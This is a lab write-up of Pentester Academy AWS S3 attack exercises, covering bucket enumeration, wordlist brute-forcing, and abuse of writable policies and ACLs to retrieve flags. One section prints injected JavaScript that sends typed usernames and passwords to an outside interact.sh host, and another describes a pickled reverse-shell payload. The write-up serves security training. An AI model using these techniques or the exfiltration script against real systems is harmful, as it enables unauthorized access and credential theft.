Pentester Academy AWS S3 Attack Lab
Enumeration
List buckets and get region for bucket →
1 2 3 4 5
# List buckets using s3api awsn s3api list-buckets | jq '.Buckets[] | .Name' | tr -d "\"" # Get region for bucket awsn s3api get-bucket-location --bucket insecurecorp-code | jq '.LocationConstraint'
Get versioning for buckets →
1 2 3 4 5 6 7
# For a single bucket awsn s3api get-bucket-versioning --bucket data-extractor-repo | jq '.Status' | tr -d "\"" # Get names of buckets with versioning enabled for i in $(awsn s3api list-buckets | jq '.Buckets[] | .Name' | tr -d "\""); do if [[ $(awsn s3api get-bucket-versioning --bucket $i 2>/dev/null | jq '.Status' | tr -d "\"") == "Enabled" ]] then echo $i; fi; done
List objects and versions in a bucket →
1 2 3 4 5 6 7 8
# List objects in a bucket awsn s3api list-objects --bucket data-extractor-repo # List object versions # Prefix will match the given string from the beginning of objects # It can be used with a Delimiter so that everything starting with prefix up to # the delimiter is matched and returned awsn s3api list-object-versions --bucket data-extractor-repo --prefix index.html
Get special information on bucket →
1 2 3 4 5 6 7 8 9 10 11
# Know if bucket is public or not awsn s3api get-public-access-block --bucket insecurecorp-code # Get policy for bucket awsn s3api get-bucket-policy --bucket insecurecorp-code --output text | jq # Get ACL for bucket awsn s3api get-bucket-acl --bucket insecurecorp-code # Get Logging information for bucket awsn s3api get-bucket-logging --bucket insecurecorp-code
Basics
- Identify the S3 endpoint →
1
2
# Identification of S3 endpoint can be done by using nmap
nmap -sV 192.37.2.3
This gives an output of unknown service cslistener
running at port 9000 along with some HTTP type return. Using curl
on this endpoint gives the following →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
http://192.37.2.3:9000 -v
* Rebuilt URL to: http://192.37.2.3:9000/
* Trying 192.37.2.3...
* TCP_NODELAY set
* Connected to 192.37.2.3 (192.37.2.3) port 9000 (#0)
> GET / HTTP/1.1
> Host: 192.37.2.3:9000
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 403 Forbidden
< Accept-Ranges: bytes
< Content-Length: 226
< Content-Security-Policy: block-all-mixed-content
< Content-Type: application/xml
< Server: MinIO/RELEASE.2019-09-05T23-24-38Z
< Vary: Origin
< X-Amz-Request-Id: 16E69AAC117238E7
< X-Xss-Protection: 1; mode=block
< Date: Sun, 17 Apr 2022 06:19:37 GMT
<
<?xml version="1.0" encoding="UTF-8"?>
* Connection #0 to host 192.37.2.3 left intact
<Error><Code>AccessDenied</Code><Message>Access Denied.</Message><Resource>/</Resource><RequestId>16E69AAC117238E7</RequestId><HostId>49db7dfe-bdf5-4b2b-bbba-7e3fb2d7e1a3</HostId></Error>
The headers contain X-Amz-Request-Id
which signifies that the resource is an Amazon service and the server can be seen as Minio
which is an open source S3 service.
- List all buckets owned by the current user and the contents of the
hello-world
bucket →
1
2
3
4
5
# Using the endpoint flag to specify a specific endpoint
aws --endpoint http://192.37.2.3:9000 s3api list-buckets
# List the objects within the hello-world bucket
aws --endpoint http://192.37.2.3:9000 s3api list-objects --bucket hello-world
- Get the objects from the
hello-world
bucket to retrieve the flag →
1
2
# The key can be mentioned to retrieve specific objects and the next argument is the outfile
aws --endpoint http://192.37.2.3:9000 s3api get-object --key flag flag --bucket hello-world
- Put a file into the bucket →
1
2
3
4
5
6
7
# Make a new file
echo "hello-world" > file
# Upload to the bucket
aws --endpoint http://192.37.2.3:9000 s3api put-object --key file --body file --bucket hello-world
# Can also use s3 cp command
# Using the s3api command without body flag will make an object of size 0 bytes
- Check permissions to retrieve objects from bucket
welcome
→
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ aws --endpoint http://192.37.2.3:9000 s3api get-bucket-policy --bucket welcome --output text | python3 -m json.tool
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AddPerm",
"Effect": "Allow",
"Principal": {
"AWS": [
"*"
]
},
"Action": [
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::welcome/*"
]
}
]
}
This means that anyone can retrieve objects from the bucket but NOT list them as s3:ListBucket
is not present.
- Modify policy of
welcome
bucket to allow listing by anyone →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ cat > policy.json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AddPerm",
"Effect": "Allow",
"Principal": {
"AWS": [
"*"
]
},
"Action": [
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::welcome/*"
]
},
{
"Sid": "Addednew",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "s3:ListBucket",
"Resource": [
"arn:aws:s3:::welcome"
]
}
]
}
# Add the policy to the bucket
aws --endpoint http://192.37.2.3:9000 s3api put-bucket-policy --policy file://policy.json --bucket welcome
The objects can be listed now from http://192.37.2.3:9000/welcome
using curl
.
- Delete an object from the
hello-world
bucket →
1
aws --endpoint http://192.37.2.3:9000 s3api delete-object --key "welcome" --bucket hello-world
Sensitive Data Exposure
The Lab exposes a URL → https://uyphi3oonj.execute-api.ap-southeast-1.amazonaws.com/default
The page loads static contents from an S3 bucket. This gives the name of the bucket as lab-webapp-static-resources
. Enumerating objects by public permissions →
1
aws s3 cp s3://lab-webapp-static-resources/scripts/backup.sh ./backup.sh --no-sign-request
The backup file contains a curl
request to download a backup of user data. This downloaded data contains a flag as well as user credentials.
S3 Guessable Object
The Lab provides an endpoint which has a bucket public
with a policy to allow retrieval of objects however, not for listing the buckets or objects. An existing key can be searched for within a brute force wordlist and attempting to curl
them as follows →
1
2
3
4
for i in $(cat /usr/share/dirb/wordlists/small.txt)
do
curl -s http://192.96.62.3:9000/public/$i | grep -vE "(key does not exist)|(encoding)"
done
Hardcoded Credentials
The Lab provided credentials for a random IAM user who had general permissions to read the upload-xxx
bucket but not the flag-xxx
bucket. However, the upload-xxx
bucket contained hardcoded AWS credentials which allows access as the admin
user which had the permissions to read from all buckets and could therefore retrieve the flag.
Readable Bucket Policy
The lab gives a bucket that has the following bucket policy →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "s3:GetBucketPolicy",
"Resource": "arn:aws:s3:::s3-readable-policy-117119606323"
},
{
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:List*",
"Resource": "arn:aws:s3:::s3-readable-policy-117119606323"
},
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::s3-readable-policy-117119606323/this-is-flag"
}
]
}
This allows reading the this-is-flag
object to everyone.
Special Request
The lab gives a bucket that has the following policy →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "s3:GetBucketPolicy",
"Resource": "arn:aws:s3:::s3-special-request-439586372472"
},
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::s3-special-request-439586372472/flag",
"Condition": {
"StringLike": {
"aws:UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/*"
}
}
}
]
}
This allows reading the flag
object if the request has a User Agent string as specified. Therefore, a curl
request for the following can get the flag
→
1
curl https://s3-special-request-439586372472.s3.amazonaws.com/flag -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/*"
Writable Bucket Policy
The lab gives a bucket which has the following policy →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:GetBucketPolicy",
"s3:PutBucketPolicy"
],
"Resource": "arn:aws:s3:::s3-writable-policy-555466747704"
},
{
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::s3-writable-policy-555466747704/flag"
}
]
}
The policy allows adding to i.e., modifying the bucket policy which can then be edited to remove the Deny rule for the flag
object. The same policy can be used, except the Deny rule should be removed and the GetObject
action added. Then apply the policy to the bucket as follows →
1
awsn s3api put-bucket-policy --policy file://policy.json --bucket s3-writable-policy-555466747704
The policy would now become →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:GetBucketPolicy",
"s3:PutBucketPolicy"
],
"Resource": "arn:aws:s3:::s3-writable-policy-555466747704"
},
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::s3-writable-policy-555466747704/flag"
}
]
}
Now, the flag
object can be retrieved.
Writable Bucket ACL
The lab provides a bucket which has it’s ACL set to the following →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"Owner": {
"DisplayName": "jeswincloud+1615526435580",
"ID": "53a8d91fd037af9e568205fb59b36cc80feabb24efe2fe0f8d1bddd86e409368"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "READ_ACP"
},
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "WRITE_ACP"
}
]
}
This allows all global authenticated AWS users to read and write the access control policy for the bucket. Therefore, a change can be made to the first grant such that the permission if READ
instead of READ_ACP
so that not only can the ACP but also the contents. This gives the secret bucket which can be used to read the flag. To apply the policy, the following is used →
1
2
# policy.json holds the modified access control policy
awsn s3api put-bucket-acl --bucket s3-secret-670128143243 --access-control-policy file://policy.json
Writable Object ACL
Just like the Writable Bucket ACL, this labs gives a bucket with a restricted ACL for the flag
object. Th policy is similar to that of the bucket in previous lab but for the object. Changing the READ_ACP
to READ
can allow reading the object, however will disallow reading the access contorl policy. It can be updated as follows →
1
awsn s3api put-object-acl --key flag --bucket s3-secret-357630943120 --access-control-policy file://policy.json
This allows reading the flag
object.
Guessable Bucket
The lab gives an Ubuntu instance with an S3 endpoint. The buckets can be enumerated against a list of names by using a wordlist as follows →
1
2
for i in $(cat /usr/share/dirb/wordlists/small.txt )
do curl -s http://192.167.222.3:9000/$i | grep -vE "(NoSuchBucket)|(specified bucket is not valid)"; done
This gives the bucket as secret
and the flag can be retrieved as follows →
1
curl -s http://192.167.222.3:9000/secret/FLAG
Chaining Attacks
The lab gives an IAM user who has some access to S3. There are two buckets and the static files store and the main bucket contents can be retrieved using the following command →
1
2
# For static bucket, remove static to list for the other bucket
awsn s3api list-objects --bucket s3-file-load-static-431664597780 | jq '.Contents[] | .Key'
The bucket policy for the main website is hidden and not authorized for our user or anonymous users to edit however, the one for the static content is as follows →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllObjectActions",
"Effect": "Allow",
"Principal": "*",
"Action": [
"s3:Get*",
"s3:Put*",
"s3:List*"
],
"Resource": [
"arn:aws:s3:::s3-file-load-static-431664597780/*",
"arn:aws:s3:::s3-file-load-static-431664597780"
]
}
]
}
Therefore, anyone can add to or edit the content. An example would be to carry out an XSS attack. The source code of the main website uses a custom.js
code which is situated in the static content bucket. This can be edited due to the policy and introduce an XSS bug.
List the javascript files in the static buckets using the following code →
1
awsn s3api list-objects --bucket s3-file-load-static-431664597780 --prefix "static/javascript"
The modified javascript file can be uploaded as follows →
1
awsn s3api put-object --bucket s3-file-load-static-108536353935 --key "static/javascript/custom.js" --body custom.js
The edited javascript can be seen below →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function makeRequest() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("output").innerHTML = this.responseText;
}
if (this.readyState == 4 && this.status != 200) {
document.getElementById("output").innerHTML = "Invalid Credentials";
}
};
var url = 'https://ahyk95vfo5.execute-api.us-west-2.amazonaws.com/dev?username=' + $('#pi3').val() + '&password=' + $('#pi4').val();
xhttp.open("GET", url, true);
xhttp.send();
document.getElementById("output").innerHTML = "<img src='http://c9et0w32vtc0000btwzggrzpyqryyyyyb.interact.sh/creds?username=' + $('#pi3').val() + '&password=' + $('#pi4').val() />";
alert("XSS");
}
Python Object Store
The lab gives a web server running from S3 which has public access to listing the assets
bucket which also contains information about sessions. Each session is represented by a token which basically holds the credentials of the service in a python pickle format. A payload for a reverse shell can be pickled in python and uploaded in place of the session such that when the web session reloads, the session will launch a reverse shell if the attacker machine is listening. With the shell, root privileges are obtained and can be used to retrieve the flag.